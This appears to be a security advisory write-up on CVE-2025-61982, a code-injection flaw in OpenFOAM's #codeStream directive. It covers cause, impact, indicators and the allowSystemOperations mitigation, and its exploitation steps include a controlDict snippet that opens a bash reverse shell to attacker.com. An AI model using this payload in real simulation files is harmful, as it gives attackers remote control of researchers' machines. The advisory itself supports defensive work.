CVE-2025-61982: 
Linux Debian vulnerability analysis and mitigation

CVE-2025-61982 is an arbitrary code execution vulnerability in the #codeStream directive functionality of OpenCFD OpenFOAM version 2506. A specially crafted OpenFOAM simulation file can trigger automatic compilation and execution of embedded C++ code, leading to full arbitrary code execution on the host system. The vulnerability was discovered by Dimitrios Tatsis of Cisco Talos, with initial vendor contact on 2025-11-10 and public disclosure on 2026-02-18. It carries a CVSS v3.1 base score of 7.8 (High) (Talos, Red Hat).

The root cause is CWE-94 (Improper Control of Generation of Code / Code Injection). OpenFOAM's dictionary file specification supports a #codeStream directive that accepts arbitrary C++ code, which is automatically compiled and executed at simulation runtime. The allowSystemOperations configuration option controls this behavior, but it defaults to true — meaning code execution is enabled even when the option is absent from the configuration file, and no warning is presented to the user. An attacker can embed calls to standard C++ functions such as system() within a malicious dictionary file (e.g., controlDict or meshDict) to achieve arbitrary command execution (Talos).

Successful exploitation results in full compromise of confidentiality, integrity, and availability on the affected system, as the injected C++ code executes with the privileges of the user running the OpenFOAM simulation. An attacker can exfiltrate sensitive research or simulation data, modify or destroy files, and establish persistent access or reverse shells. The attack is local and requires user interaction (opening a malicious simulation file), but in collaborative or academic environments where simulation files are routinely shared, the practical risk of social engineering is significant (Talos).

No public exploit code or active in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is 0.023% (very low), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a victim to open a maliciously crafted simulation file, making it a file-based social engineering attack vector common in academic and industrial CFD workflows where simulation cases are frequently exchanged (Talos, Feedly).

1. Craft malicious dictionary file: Create or modify an OpenFOAM dictionary file (e.g., system/controlDict) to include a #codeStream block containing arbitrary C++ code, such as a system() call to establish a reverse shell or execute a payload:

#codeStream
{
    code
    #{
        #include "OSspecific.H"
        Foam::system("bash -i >& /dev/tcp/attacker.com/4444 0>&1");
    #};
};

2. Deliver the malicious file: Share the crafted simulation case directory with the target via email, file sharing platforms, or collaborative repositories commonly used in CFD research communities.
3. Victim opens the simulation: The victim runs the OpenFOAM simulation using the malicious case directory. If allowSystemOperations is true (the default), OpenFOAM automatically compiles and executes the embedded C++ code.
4. Achieve code execution: The injected code runs with the victim's user privileges, enabling reverse shell access, data exfiltration, or further lateral movement within the victim's environment (Talos).

• File System: Unexpected or modified controlDict, meshDict, or other dictionary files in OpenFOAM case directories containing #codeStream blocks with suspicious C++ code (e.g., calls to system(), popen(), or network functions).
• File System: Temporary compiled shared libraries (.so files) generated in the OpenFOAM case directory during simulation that contain unexpected code.
• Process: Unusual child processes spawned by the OpenFOAM solver process (e.g., bash, sh, curl, wget, nc) indicating shell command execution from within a simulation.
• Network: Unexpected outbound network connections from the OpenFOAM process or its child processes to external IP addresses, particularly on non-standard ports.
• Logs: System logs showing compilation activity (g++, wmake) triggered during simulation runs on files not part of the standard OpenFOAM source tree.

The primary mitigation is to set allowSystemOperations 0 in the OpenFOAM configuration file, which disables automatic compilation and execution of #codeStream directives. This setting must be explicitly configured, as the default is true and the absence of the option also defaults to enabled. Users should audit all OpenFOAM case files received from untrusted sources for #codeStream blocks before running simulations. No vendor patch has been announced; the Talos advisory notes fix suggestions were exchanged with the vendor but the recommended remediation remains the configuration workaround (Talos).

The vulnerability was disclosed by Cisco Talos (TALOS-2025-2292) on February 18, 2026, with Red Hat also tracking it. Coverage appeared on security aggregation sites and threat intelligence platforms shortly after disclosure. The Infinit Security blog published a dedicated write-up on the vulnerability (Infinit Security). Community reaction has been limited given the niche academic and industrial user base of OpenFOAM, but the design-level nature of the issue — a legitimate feature with dangerous defaults — drew attention to the broader risk of simulation file sharing in CFD workflows.